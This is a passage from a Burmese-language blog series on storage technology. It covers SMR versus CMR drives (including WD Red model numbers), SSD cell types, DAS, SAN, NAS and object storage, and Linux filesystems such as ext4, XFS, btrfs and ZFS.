မှာသုံးမယ့် NAS တွေနဲ့ SAN တွေမှာက Read/Write operation ကိုအများကြီးလုပ်ရတဲ့အခါမှာ idle time မရှိသလောက်ဖြစ်လာပါတော့တယ်။ ဒီတော့ shingled track ပေါ်မှာရေးဖို့လိုတဲ့ အခါမျိုးမှာ Read/Write/Rewrite ဆိုတဲ့ operation သုံးခုစလုံးအတွက် အချိန်ပေးရပါတော့တယ်။ နောက်ဆုံးတော့ performance ပြဿနာဟာ compute မှာပါလာပြီးတော့ domino effect ဖြစ်ပါတယ်။ ပုံမှန် PC/Laptop လိုမျိုးမှာဆိုရင်တော့ ဒီကိစ္စဟာ ပြဿနာမဟုတ်တဲ့အတွက် အဆင်ပြေပါတယ်။ အခုဟာက NAS အတွက်ဆိုပြီးတော့ စျေးကြီးပေးရတဲ့ WD Red မှာ SMR ကို အသုံးပြုထားတာတော့ လုံးဝကို အဆင်မပြေပါ။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-61ede4ea9d9d18ddc208ff176c4e6993d9ec4b94%2FWD-Red-Models.png?alt=media" alt=""><figcaption></figcaption></figure>

စာရေးသူအိမ်မှာလည်း NAS အတွက်ဆိုပြီးတော့ ဝယ်ထားတဲ့ 2TB WD Red ၄လုံးတောင် စျေးကြီးပေးဝယ်ထားရလို့ ဒီအကြောင်းကို podcast မှာကြားကြားရချင်း နည်းနည်းတော့ တင်းသွားတယ်။ ကိုယ့်မှာလည်း ရှယ်သုံးချင်လို့ ရှယ်စျေးကြီးပေးပြီး ဝယ်ထားပြီးကာမှ အချဉ်မိသလိုခံစားရပါတယ်။ ကံကောင်းချင်တော့ စာရေးသူဝယ်တုန်းက WD Red ရဲ့ model အဟောင်းတွေမှာ CMR အသုံးပြုထားတာကိုသိရတယ်။ WD ဟာနောက်ပိုင်းမှ ထုတ်တဲ့ Red Drive တွေမှာ SMR ကိုအသုံးပြုပြီးတော့ consumer တွေကိုတော့ အဲ့ဒီအကြောင်း ကို specification ထဲမှာရှင်းရှင်းလင်းလင်း မဖော်ပြထားပါဘူး။ Consumer တွေဘက်အခုလိုမျိုး complaint တတ်တော့မှ SMR ကိုသုံးထားတယ်ဆိုပေမယ့်လည်း over-used မလုပ်ရင်တော့ ပြဿနာမရှိနိုင်တဲ့အတွက် သီးသန့်မဖော်ပြထားခြင်းသာဖြစ်တယ်လို့ ဆိုလာတော့တယ်။ ဒါကတော့ လူမိတော့မှ ကျောသပ်ပေးတဲ့ပုံစံမျိုး ပေါက်နေလေတော့ WD လည်း နာမည်ကို ပျက်ရော။ စာဖတ်သူတို့လည်း WD Red ကိုဝယ်ထားမိပြီး ကိုယ့် WD Red ဟာ CMR လား SMR လားသိချင်ရင်တော့ အခုလိုမျိုး စစ်ကြည့်လို့ရနိုင်ပါတယ်။ Model number ကိုကြည့်လိုက်ပါ။ ကိုယ့်ရဲ့ 2TB WD Red ရဲ့ model ဟာ WD20EFRX ဆိုရင်အရင်တုန်းက ထုတ်ထားတဲ့ CMR လာတဲ့ drive ဖြစ်ပြီးတော့၊ model ဟာ WD20EFAX ဆိုရင်တော့ SMR နဲ့လာတဲ့ drive ဖြစ်ပါတယ်။ အရှေ့က 20 ဆိုတာက 2 TB ကိုရည်ညွှန်းပြီး၊ အနောက်က FRX ဟာ model အဟောင်း WD Red ပါ။ နောက်ပိုင်းထွက်တဲ့ အသစ် WD Red တွေမှာတော့ အနောက်က FAX ဆိုတာနဲ့ အဆုံးသတ်ပါတယ်။ အလွယ်မှတ်ချင်ရင်တော့ FRX ဆိုရင် model အဟောင်း CMR နဲ့လာတဲ့အတွက်ပိုကောင်းတယ်၊ FAX ဆိုရင် model အသစ် SMR နဲ့လာတဲ့အတွက် အဟောင်း WD Red တွေမှာလို performance ထင်သလောက်မရနိုင်တော့ဘူး။ အခြားသော WD ရဲ့ colour ခြားတွေမှာလည်း အခုလိုမျိုး model number ကိုကြည့်ပြီးတော့ SMR လား CMR လားဆိုပြီးတော့ ခွဲခြားနိုင်ပါတယ်။ ဒီ [link](https://nascompares.com/answer/how-to-tell-a-difference-between-dm-smr-and-non-smr-cmr-drives-hdd-compare/) မှာအသေးစိတ်သွားရောက်လေ့လာနိုင်ပါတယ်။

### Solid State Drive (SSD) တွေအကြောင်းသိသလောက်

Solid State Drive (SSD) မှာတော့ ပုံမှန် spinning hard disk drive တွေနဲ့ မတူတာတွေအများကြီးရှိပါတယ်။ အထူးသဖြင့် magnetic ကိုအသုံးပြုပြီးတော့ data ကိုသိမ်းဆည်းတာမဟုတ်တော့ပဲနဲ့ semiconductor အစိတ်အပိုင်းမြောက်များစွာနဲ့ ဖွဲ့စည်းထားတာဖြစ်တဲ့အတွက် အတွင်းထဲမှာ လှုပ်ရှားမှု လုံးဝမရှိပါဘူး။ စစထွက်ချင်းတုန်းက DRAM volatile memory အမျိုးအစားကိုအသုံးပြုပြီးတော့၊ ၂၀၀၉ခုနှစ်လောက်မှာတော့ NAND flash non-volatile memory တွေကို စတင်ပြီးတော့ အသုံးပြုလာပါတော့တယ်။ NAND flash non-volatile memory ကိုအတိုကောက် NVM လို့သိကြပြီးတော့၊ PCIe bus ကိုအသုံးပြုပြီးတော့ data rate တတ်အောင်ကြံဆောင်ထားတဲ့အတွက် NVMe လို့ဆိုပြီးတော့ ခေါ်လာကြပါတယ်။ PCIe နဲ့ NVMe ရဲ့ အနောက်က e ဆိုတာ express ကိုဆိုလိုပါတယ်။ အရှင်းဆုံးပြောရရင် solid state drive ကို Toshiba ကစတင်မိတ်ဆက်တဲ့အချိန် ၁၉၈၀ခုနှစ်လောက်မှာ spinning plate ပေါ်ရေးတဲ့ဖတ်တဲ့ magnetic HDD တွေကို အတုခိုးပြီးတော့ semiconductors အတွက် စတင်ကြံဆောင်ခဲ့ခြင်းပါ။ အဲ့ဒီအတွက် ပထမဆုံး USB Flash Drive ကို ၁၉၉၁ခုနှစ်လောက်မှာ SunDisk Corporation ဆိုတဲ့ company ကနေစတင်ရောင်းချပေးခဲ့ပါတယ်။ နောက်ပိုင်းတော့ SanDisk ဆိုပြီးတော့ အခုအချိန်ထိ flash drive storage တွေကိုရောင်းတဲ့ company တစ်ခုအနေနဲ့ လူသိများတုန်းပါ။ ပြီးနောက် HDD တွေကို အစားထိုးဖို့အတွက် SATA နဲ့ SAS interface တွေကိုပဲအသုံးပြုပြီးတော့ performance ပိုကောင်းတဲ့ storage တွေကို ထုတ်လာကြပါတယ်။ ဒီ့နောက်မှာတော့ portable device နဲ့ mobile device တွေမှာအသုံးပြုဖို့အတွက် form factor မျိုးစုံနဲ့ ထပ်တခါထွက်လို့လာပြန်ပါတယ်။ အရွယ်အစားဖြင့် ပိုပိုသေးလာသလို performance ပိုင်းမှာလည်းပိုကောင်းလာအောင်လို့ အဆင့်မြင့် နည်းပညာတွေနဲ့ အစားထိုးလာရာကနေ mini-SATA (mSATA) ကနေတဆင့် M.2၊ U.2၊ NF1၊ XFMEXPRESS နဲ့ [EDSFF](https://en.wikipedia.org/wiki/Enterprise_%26_Data_Center_SSD_Form_Factor) ဆိုပြီးတော့ PC/laptop လိုမျိုး consumer တွေအပြင် Enterprise နဲ့ Data Centre တွေမှာပါအသုံးပြုလာကြပါတယ်။ နှစ်စဉ်တိုင်းလိုလို SDD ရဲ့ နည်းပညာဟာလည်း ပိုပိုကောင်းလာတဲ့အတွက် နာမည်အသစ်၊ interface အသစ်၊ ပုံစံအသစ်တွေနဲ့ အမြဲပြောင်းလဲလို့လာနေပါတယ်။ အောက်မှာကတော့ Kingston Technology က SATA/AHCI နဲ့ SSD/PCIe/NVMe တို့ရဲ့ကွာခြားချက်တွေကို အခုလိုမျိုးယှဉ်ပြထားပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-56d18e127b4f3257a6602504dcc9e8c6b230e214%2Fktc-article-solutions-servers-data-centers-understanding-ssd-technology-en.jpg?alt=media" alt=""><figcaption></figcaption></figure>

အထက်မှာကတော့ SSD လို့ဆိုလိုက်တာနဲ့ တွဲပြီးတော့ ပါလာတဲ့ပြောင်းလဲတိုးတက်လာတဲ့ သူနဲ့ပတ်သတ်တဲ့ အချို့သောအကြောင်းလေးတွေပါ။ HDD မှာလိုပဲ SSD မှာဘယ်လို data တွေကို သိုလှောင်သလဲဆိုတာလည်း အနည်းငယ်သိထားရအောင်လေ့လာကြည့်ရအောင်။

SSD ဟာသူ့မှာပါတဲ့ transistor တွေပေါ်မှာ high voltage ကိုအသုံးပြုပြီးတော့ cells တွေပေါ်မှာ data တွေကို ရေးခြင်း ဖျက်ခြင်းပြုလုပ်ပါတယ်။ Data တွေကို ပြန်ပြီးဖတ်ဖို့အတွက်တော့ သိမ်းဆည်းထားတဲဲ့ cells တွေနေရာမှာ low voltage ကိုသုံးတယ်။ ထားပါတော့ cell တစ်ခုဟာ အားသွင်းထားခြင်းမရှိဘူးဆိုရင် low voltage ကိုအသုံးပြုပြီးတော့ ဖတ်တဲ့အခါ electron current flow တစ်ခုဖြစ်ပေါ်စေပါတယ်။ ဒါဆိုရင်ဖြင့် ဒီ cell ဟာ 0 state မှာရှိတဲ့ cell ဆိုပြီးတော့သိနိုင်တယ်။ သူနဲ့ပြောင်းပြန် ဖြစ်တဲ့ 1 state မှာဆိုရင်တော့ voltage တစ်ခုကိုအသုံးပြုတဲ့အခါ ဘာ current မှမဖြစ်စေပါဘူး။ ဒီ low voltage ကိုသုံးပြီးတော့ cell တစ်ခုစီရဲ့ 0 နဲ့ 1 state ကိုဖတ်ရတာဟာ သူတို့ဆီမှာ high voltage ကိုအသုံးပြုပြီးတော့ရေးရတာထက် ပိုမြန်ပါတယ်။ အခုလိုမျိုး cell တစ်ခုမှာ 0 လား 1 လားဆိုပြီးတော့ ရေးနိုင်ဖတ်နိုင်တဲ့ flash memory cells တွေကို Single Level Cells (SLC) ဆိုခေါ်ပါတယ်။ အကောင်းဆုံးသော flash memory cells အမျိုးအစားပါ။ SLC ဟာ state တစ်ခုကိုပဲ သိမ်းထားနိုင်စွမ်းရှိတဲ့အတွက် cell တစ်ခုကို 1 bit ပဲသိုလှောင်နိုင်ပါတယ်။ HDD မှာလို data တွေပိုပြီး သိမ်းလို့ရအောင် longitudinal magnetic recording (LMR) ကနေ perpendicular magnetic recording (PMR) သို့မဟုတ် conventional magnetic recording (CMR)၊ ပြီးနောက် အခု shingled magnetic recording (SMR) သို့အဆင့်ဆင့်ပြောင်းလဲလာသလိုပဲ၊ SSD မှာလည်း ၄င်းနည်း bit တွေပိုပြီးသိမ်းဆည်းနိုင်အောင်လို့ အဆင့်ဆင့်ကြံဆောင်ရင်း multi-level cells (MLC)၊ triple level cells (TLC)၊ အဲ့ဒီနောက် quad level cells (QLC) ဆိုပြီးတော့ အဆင့်ဆင့် ပြောင်းလဲလာပါတယ်။ MLC မှာတော့ 4 levels/states ကို charge trap လုပ်နိုင်တဲ့အတွက် cell တစ်ခုကို 2 bits အထိသိမ်းဆည်းနိုင်ပါတယ်။ 2 bits ဆိုတော့ 00, 01, 10, 11 ဆိုပြီးတော့ states လေးခု charge အနိမ့်အမြင့်ပေါ်မူတည်ပြီးတော့ သိမ်းနိုင်ခြင်းပါ။ ဒီလိုပဲ TLC မှာတော့ 8 levels/states ဆိုတဲ့အတွက် 3 bits၊ QLC မှာကတော့ 16 levels/states ဆိုတဲ့အတွက် 4 bits သော binary data တွေကို cell တစ်ခုချင်းစီမှာ သိုလှောင်လာနိုင်ပါတယ်။ ဒီ့အတွက် data capacity ဟာလည်း များသတဲ့ များလို့လာသော်လည်း CMR နဲ့ SMR မှာကွာခြားသလိုပဲ၊ SLC နဲ့ QLC မှာလည်း ခပ်ဆင်ဆင်ကွာခြားကြပါတယ်။ SLC မှာ cell တစ်ခုအတွက် 1 level/state ကိုပဲ ရေးရဖတ်ရတဲ့အတွက် performance မှာပိုမြန်ပြီးတော့ data capacity ဟာ QLC နဲ့ယှဉ်လိုက်ရင် နည်းနည်းပဲသိမ်းနိုင်ပါတော့တယ်။ တဖက်မှာလည်း QLC ဟာ data capacity အများကြီး သိမ်းနိုင်သော်လည်း cell တစ်ခုစီမှာ 16 levels/states ကို သွတ်ပြီးတော့ထည့်ရတဲ့အတွက် read/write မှာ အများကြီးပိုနှေးသွားတယ်။ SSD မှာ control gates တွေ bitline တွေနဲ့ read/write ဘယ်လိုလုပ်သလဲ ဆိုတာတော့ အသေးစိတ်မရှင်းတော့ပါဘူး။ အသေးစိတ်ကိုလေ့လာချင်ရင် ဒီ [link](https://www.youtube.com/watch?v=5Mh3o886qpg) မှာသွားကြည့်လို့ရပါတယ်။

ဒီ post မှာတော့ HDD မှာအခုနောက်ပိုင်းလူပြောများနေတဲ့ SMR အကြောင်းကို အစမှာ အနည်းငယ်ဆွေးနွေးပြီး၊ SSD အကြောင်းကို သိသလောက် အတိုချုပ် သိသလောက်ရှင်းပြပေးထားပါတယ်။ နောက် post တွေမှာတော့ storage type တွေအကြောင်း၊ Linux က filesystem တွေအကြောင်းနဲ့ သူတို့ဘယ်လို ကွာခြားပုံ၊ အလုပ်လုပ်ပုံတွေကို ဆက်လက်ဆွေးနွေး သွားပါ့မယ်။ Storage ပိုင်းဆိုင်ရင် ဗဟုသုတ အနည်းအကျဉ်းတော့ လုံးဝမသိသေးရင် လေ့လာရရှိနိုင်မယ်လို့ မျှော်လင့်မိပါတယ်။


# Storage အကြောင်းတစေ့တစောင်း – အပိုင်း(၃)

ဒီအပိုင်းမှာတော့ storage အမျိုးအစား လေးတွေအကြောင်းဆက်ရေးမယ်ဆိုပြီးတော့ အာရုံနည်းနည်းများနေတာနဲ့ တတိယအပိုင်း ဆက်ရေးဖို့ နည်းနည်းကြာသွားပါတယ်။ ရေးချင်တဲ့ အကြောင်းအရာကိုလည်း မပြည့်စုံမှာကို စိုးရိမ်တာနဲ့ အချိန်ပေးပြီးတော့ အေးအေးဆေးဆေး ရေးမယ်ဆိုပြီးတော့လည်း ကိုယ့်ဟာကို ဆင်ခြေပေး နေတာနဲ့ကြားထဲမှာ တော်တော်လည်း ကြာသွားတယ်။ အရှေ့နှစ်ပိုင်းမှာတော့ HDD နဲ့ SSD တို့မှာပါတဲ့ အစိတ်အပိုင်းတွေကို ရသလောက်ရှင်းပြီးတဲ့နောက်တော့ အဲ့ဒီအစိတ်အပိုင်းတွေနဲ့ storage အမျိုးအစားပေါင်းစုံကို data ပေါင်းစုံသိမ်းဆည်းဖို့အတွက် abstract layers ဘယ်လို အဆင့်ဆင့်ထွက်လာသလဲဆိုတာနည်းနည်းလေ့လာ ကြည့်ရအောင်။

Data centre နည်းပညာတွေ cloud platform တွေ အရမ်းကို အသုံးများလာတဲ့ ဦးတည်ရာက high availability (HA) ဆိုတဲ့ လိုချင်တဲ့အချိန်မှာ အမြဲရှိနေပေးရမယ်ဆိုတဲ့လိုအပ်ချက်တစ်ခု၊ durability ဆိုတဲ့ မပျက်မစီးပဲနဲ့ ကြာကြာလည်းအသုံးခံရမယ်ဆိုတဲ့ ဆန္ဒရှိပုံ တစ်ပုံ၊ နောက် scalability ဆိုတဲ့ လိုတိုင်းသ ရနိုင်တဲ့ လိုသလောက် ဆွဲဆန့်နိုင်တဲ့ တိုးပွားမှုမျိုး ရှိမှပြည့်စုံမယ်ဆိုလို storage နည်းပညာဘက်မှာလည်း အဆင့်ဆင့်ပြောင်းလဲတိုးတက်မှုများစွာ ရှိလာခဲ့ပါတယ်။ Server တစ်လုံးကိုတည်ဆောက်တဲ့အခါမှာ သူနဲ့လာတဲ့ chassis ဆန့်သလောက် HDD တွေ၊ SSD တွေထည့်ပြီးတဲ့နောက် ထပ်ပြီးတော့ storage capacity လိုရင် scale-up လို့ခေါ်တဲ့ vertical scaling လုပ်လို့မရတော့ပါဘူး။ ဒီတော့ နောက် server တစ်လုံးထပ်တိုး ထည့်ခြင်းဖြင့် scale-out လို့ခေါ်တဲ့ horizontal scaling လုပ်ရပါတော့တယ်။ လိုတာက storage တစ်ခုပဲလိုပြီးတော့ ကျန်တဲ့ resource တွေအလုံးအလောက်ရှိတဲ့အတွက် အဲ့ဒီ resource တွေကို မလိုအပ်ပဲနဲ့ ထပ်ဝယ်ပြီးတော့ ထည့်ရတဲ့အတွက် မကိုက်ပြန်ပါဘူး။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-115b8757a9f244bc24b7e882d4844721a7343489%2FData-Centre-768x417.jpg?alt=media" alt=""><figcaption></figcaption></figure>

နောက်တခုက server နောက်တစ်လုံးအတွက် ပေးရတဲ့ မီးခနဲ့ နေရာကလည်း ထပ်တခါကုန်စရာတွေဖြစ်လာပြန်ပါတယ်။ ဒီတော့ infrastructure သမားတွေက storage လိုရင် storage ပဲထည့်ဖို့အတွက် ကြံဆောင်ကြရာကနေပြီးတော့ direct attached storage (DAS) ဆိုပြီးတော့ ဖြစ်လာပါတယ်။ DAS အတွက် SATA၊ SCSI နဲ့ USB တို့လို interface ပေါင်းများစွာနဲ့ ထည့်ပေါင်းကြပြန်ပါတယ်။ ဒီလိုနဲ့ DAS ဟာလည်း လိုအပ်ချက်တွေများလာတဲ့ storage demand ကိုမဖြည့်ဆည်းနိုင်တဲ့အတွက် နောက်တခါ Storage Area Network (SAN) လို့ခေါ်တဲ့ enterprise အဆင့် storage တွေကို Host Bus Adapter (HBA) လိုမျိုး PCI expansion card တွေနဲ့ fibre interface ကနေပြီး ချိတ်ဆက်လို့လာပြန်တယ်။ ပြဿနာက SAN လိုမျိုး enterprise အဆင့် storage hardware solution တစ်ခုအတွက်ကုန်ကြစရိတ်ကများလွန်း ပါတယ်။ HBA card တစ်ခုတည်းကို ပဲ USD 2000 ကနေ 3000 လောက်ရှိတဲ့အတွက် small-to-medium business တွေအတွက် လက်လှမ်းမှီဖို့ နည်းနည်းခက်ပါလိမ့်မည်။ SAN တစ်ခုအတွက် သုံးရတဲ့ အခြားသော fibre-channel switch တွေ၊ fibre cable installation တွေ အားလုံးပေါင်းထည့်ရင် တော်တော်လေးကို စျေးမြောက်သွားမယ်ထင်ပါတယ်။ SAN ကိုအသုံးပြုရင် သူ့အတွက်လိုအပ်ချက်ပေါင်းများစွာရှိပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-f7c2b2ab888dd1f42cb7e031ba5def5ead3a4fc1%2FHBA-Card-768x410.jpg?alt=media" alt=""><figcaption></figcaption></figure>

ဒီတော့ SAN ဟာ simple storage solution တစ်ခုပဲလိုတဲ့ company လေးအတွက် တွက်ချေမကိုက်လို့ နောက်တခါ Network Attached Storage (NAS) ဆိုပြီးတော့ နောက်တစ်ခုထပ်ရပြန်ပါတယ်။ NAS ဟာ SAN နဲ့ ယှဉ်လိုက်ရင် အများကြီး စျေးသက်သာလွန်ပါတယ်။ အထူးသဖြင့် SAN မှာလိုမျိုး အထူးလိုအပ်ချက်တွေဖြစ်တဲ့ အခြားသော hardware နဲ့ infrastructure တွေမလိုပါဘူး။ လက်ရှိအသုံးပြုနေတဲ့ Ethernet network မှာ ဒီအတိုင်းချိတ်ပြီးတော့ အသုံးပြုရုံပါပဲ။ Ethernet လိုဆိုတဲ့နေရာမှာ copper cable တွေဖြစ်တဲ့ ရိုးရိုး Ethernet cable တွေ၊ Coaxial cable တွေအသုံးပြုနိုင်သလိုပဲ၊ fibre cable တွေကိုလည်းလက်ရှိ network infrastructure မှာရှိရင်းအတိုင်း အသုံးပြုနိုင်တဲ့အတွက် စရိတ်အများကြီးသက်သာသွားပါတယ်။ DAS၊ SAN နဲ့ NAS သုံးခုစလုံးမှာ RAID ကိုကိုယ်ကြိုက်သလို သတ်မှတ်ထားနိုင်ပြီးတော့၊ redundancy နဲ့ performance ကိုကိုယ်လိုသလို ခြယ်လယ်လို့ ရတယ်။ RAID ကိုတကူးတက ဖန်တီးချင်တဲ့ infrastructure engineer တစ်ယောက်အတွက် ပြဿနာမရှိနိုင်သော်လည်း၊ RAID အတွက် စိတ်ရှုပ်မခံချင်တဲ့ sysadmin တစ်ယောက်အတွက်တော့ low-level hardware တွေကို RAID card တွေနဲ့ deal လုပ်ရတာ ဝန်ထုပ်ဝန်ပိုး တစ်ခုအပိုပါ။ ဒီအတွက်တော့ စိတ်ပူစရာလုံးဝမရှိပါဘူး၊ ဘာ low-level hardware ဝန်ထုပ်ဝန်ပိုး ကိုမသယ်ထားချင်ရင်ဖြင့် အားလုံးအတွက် အဆင်ပြေမည့် နည်းလမ်းရှာရင်းနဲ့ object storage ဟာ တော်တော်လေးကို အံဝင်ကွင်ကျရှိလွန်းလှပါတယ်။

ရှင်းရှင်းပြောရရင်တော့ hardware ကိုနှစ်သက်လို့ data centre ရဲ့ infrastructure engineer တွေအတွက်လည်း သူတို့နှစ်သက်ရာကို တစ်ခုတည်း အာရုံစိုက်ပြီးတော့ server တစ်လုံးရဲ့ specification နဲ့ resource တွေအပြင် storage ဆိုင်ရာ hardware installation တွေကိုပါ သီးသန့်တာဝန်ယူ နိုင်ပါတယ်။ Hardware ကို လုံးဝစိတ်မဝင်စားတဲ့ sysadmin တွေနဲ့ developer တွေအတွက်တော့ server hardware တွေနဲ့ storage ဆိုင်ရာ hardware တွေဟာ abstraction layer တစ်ခုပမာဖြစ်လို့လာနေပါပြီ။ ဒါကြောင့်လည်း Infrastructure as a Service (IaaS)တို့၊ Platform as a Service (PaaS)တို့၊ Software as a Service (SaaS)တို့ အပြင်အခြားအခြားသော as a Service တွေပေါင်းများစွာ ဖြစ်လို့လာနေတာကို ကြည့်ရင်သိနိုင် ပါတယ်။ Job role တစ်ခုက လုပ်ရမှာပျင်းတဲ့ အလုပ်တစ်ခုကို နောက် job role တစ်ခုစီကို လွှဲပြောင်းပေးလိုက် သလိုပဲ စာရေးသူတော့မြင်မိပါတယ်။ ဒီလိုမျိုး abstraction layer တွေများလာတဲ့အတွက် ကောင်းကျိုးရှိသလို၊ ဆိုးကျိုးတွေလည်း ရှိပါတယ်။ အဓိကအားဖြင့် communication ဘက်မှာအများကြီး ဂရုစိုက်ရပါတော့တယ်။ Role တစ်ခုနဲ့ တစ်ခု အသုံးအနှုံး တွေဖြစ်တဲ့ technical jargon တွေဟာ မတူနိုင်သလို ဆိုလိုရင်းလည်း ကွဲပြားနိုင်တာမို့ ရှင်းရှင်းလင်းလင်းဖြစ်ဖို့အများကြီးလိုအပ်လာပါတယ်။ ကိုယ်နဲ့ ဆိုင်ရာ functions တွေကိုပဲ ထပ်ခါထပ်ခါလုပ်ခြင်းအားဖြင့် productivity မှာလည်း industrial age က assembly line တစ်ခုလိုပဲ ပိုကောင်း ပိုသွက်လာတဲ့ သဘောရှိပါတယ်။ နောက်ဆုံးတော့ အလုပ်ခွင်ဝင်တဲ့အခါမှာ ကိုယ်လုပ်ရမယ့် job role ဟာ ကိုယ်တကယ်ကြီးကို စိတ်ဝင်စားမှာ အဓိပ္ပာယ်ရှိနိုင်မှာပါ။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-9c0eba7b84dbe766dc8f9834cfb207ff2ea1a8db%2FMonitor-the-cloud.jpg?alt=media" alt=""><figcaption></figcaption></figure>

Storage ကိုပုံစံမျိုးစုံနဲ့ production environment တစ်ခုမှာ အမျိုးမျိုးအစားစား မြင်နိုင်ပါတယ်။ အထက်မှာရှင်းပြခဲ့သလိုပဲ industry ရဲ့ လိုအပ်ချက်တွေကို ဖြည့်ဆည်းရင်နဲ့ အဆင့်ဆင့် ပုံစံပြောင်းလာခဲ့ပါတယ်။ အကြမ်းအားဖြင့်တော့ storage formats အမျိုးအစား သုံးမျိုးသုံးစားရှိတယ် လို့ဆိုလို့ရပါတယ်။ Files၊ blocks၊ objects storage ရယ်လို့ သုံးမျိုးပါ။ File storage ကတော့ system တစ်ခုမှာ files တွေ၊ folders တွေကို သူ့နေရာနဲ့သူ သိမ်းဆည်းဖို့အတွက် storage format ပါ။ Block storage ဆိုတာကတော့ block-level မှာအလုပ်လုပ်တဲ့ volumes တွေကို unique identifier နဲ့အတူ ကိုယ်သလို အသုံးပြုဖို့အတွက် အသုံးပါတယ်။ နောက်ဆုံးတစ်ခုဖြစ်တဲ့ အထက်မှာလည်း အနည်းငယ် ရှင်းပြပြီးသွားတဲ့ object storage ပါ။ သူ့မှာတော့ အရှေ့ကနှစ်မျိုး ထက်ပိုပြီးတော့ elastic ဖြစ်ဖို့အတွက် metadata တွေ identifiers တွေကို Restful API အသုံးပြုပြီးတော့ ကိုယ်သိမ်းဆည်းမယ့် data တွေကို သတ်မှတ်ထားတဲ့ discrete units ဖြစ်တဲ့ objects ပုံစံမျိုးနဲ့ သိုလှောင်နိုင်ပါတယ်။ တစ်ခုချင်းစီမှာတော့ အားနည်းချက် အားသာချက် ကိုယ်စီရှိကြပါတယ်။ နည်းနည်းလေး ပိုပြီးတော့ ရှင်းသွားအောင်လို့ တစ်ခုချင်းစီ ကို အသေးစိတ်သွားလိုက်ရအောင်။

### File Storage

File storage ဆိုကတော့ရှင်းပါတယ်။ file တွေကို စနစ်တကျသိမ်းဆည်းနိုင်အောင်လို့ file system တွေကို အသုံးပြုပြီးတော့ file တွေကို အဆင့်ဆင့် folder တွေအောက်မှာ hierarchical ဖြစ်အောင် သိုလှောင်နိုင်တဲ့ storage format တစ်ခုပါ။ ပုံမှန်အားဖြင့် file storage လိုပြောလိုက်ရင် local storage၊ DAS နဲ့ NAS ကိုမြင်နိုင်ပါတယ်။ သုံးခုလုံးအတွက် storage ကိုအသုံးပြုဖို့ရာ file system တစ်ခုခုနဲ့တော့ format ရိုက်ရပါလိမ့်မယ်။ File system ထဲမှာလည်း Linux မှာအသုံးပြုနိုင်တဲ့ ext4၊ xfs၊ btrfs၊ zfs တို့အပြင် Windows မှာသုံးတဲ့ FAT၊ NTFS နဲ့ ReFS ဆိုပြီးတော့ အမျိုးမျိုးအစားစားရှိကြပါတယ်။ Linux မှာတော့ အခုနောက်ပိုင်း နည်းနည်းလေး hot ဖြစ်နေတဲ့ file system နှစ်ခုရှိပါတယ်။ btrfs နဲ့ zfs တို့နှစ်ခုဖြစ်ပါတယ်။ Btrfs ကတော့ GNU GPL compatible ဖြစ်တဲ့အတွက် Linux community တစ်ခုလုံးရဲ့ အသည်းစွဲ အဆင့်မြင့် file system တစ်ခုဖြစ်ပြီးတော့၊ တဖက်မှာတော့ ZFS ဟာ စွမ်းဆောင်ရည် အရမ်းကောင်းပေမယ့်လည်း Oracle က ပိုင်ပြီးတော့ BSD community ကမွေးစားထား နိုင်သော်လည်း GNU GPL နဲ့ compatible မဖြစ်တဲ့အတွက် licensing မှာ Linux kernel ထဲကို ထည့်သွင်းဖို့အတွက် လုံးဝ အဆင်မပြေနေတာကို Linus Torvalds ကိုယ်တိုင်က လွန်ခဲ့တဲ့ လအနည်းအတွင်းမှာ community ကိုချပြခဲ့ပြီးပါပြီ။ ZFS ကို GNU GPL နဲ့ အဆင်ပြေအောင်လုပ်ချင်ရင်တော့ Oracle ဘက်က လိုတိုးပိုလျှော့ လုပ်ရင်ရနိုင်သော်လည်း သူတို့ဘက်က လိုလိုလားလား ဘာမှလိုက်မလုပ်ပေးတဲ့အတွက် Linus Torvalds ကြီးအချဉ်ပေါက်ပုံရတယ်။ Oracle ရဲ့ အစဉ်အလာမို့လည်း ဘယ်သူမှလည်း သိပ်မပြောကြတော့ပါ။

နောက်တစ်ခုက Linux မှာလက်ရှိထိတော့ performance နဲ့ capability နှစ်ခုလုံးမှာ ညီမျှတဲ့ file system က ext4 ပါ။ Linux ရဲ့ software RAID ဖြစ်တဲ့ MD နဲ့ တွဲပြီးတော့ အသုံးပြုနိုင်သလို၊ Logical Volume Manager (LVM) ကိုလည်း OS ထဲမှာ volume size ကို လိုသလို တိုးနိုင်ချုံ့ နိုင်တဲ့အတွက် ext4 ဟာလက်ရှိအထိတော့ သုံးနေရတုန်းပါ။ သို့သော်လည်း inode အရေအတွက်တော့ သတ်မှတ်ချက်ရှိတဲ့အတွက် file system က storage capacity မှာ တော်တော်များများထိ တိုးထည့်နိုင်သော်လည်း inode ကုန်ရင်တော့ ပြဿနာက တိုင်ပတ်ပါတော့တယ်။ ဒီအတွက်ကြောင့် XFS မှာ inode ကို သတ်မှတ်ချက်မရှိပဲနဲ့ dynamic ဖြစ်အောင် လုပ်ထားတဲ့အတွက် XFS ဟာလည်း scale-up လုပ်ချင်တဲ့ environment အတွက်တော့ ပိုပြီးတော့ အဆင်ပြေပါလိမ့်မယ်။ ဒီ file system တစ်ခုချင်းစီရဲ့ အသေးစိတ်နဲ့ inode အကြောင်းကို နောက်မှပဲ သီးသန့် article တစ်ခုအနေနဲ့ ရေးပါ့မယ်။ အခုတော့ file storage အကြောင်းဘက်ကို ပြန်သွားလိုက်ရအောင်ဗျာ။

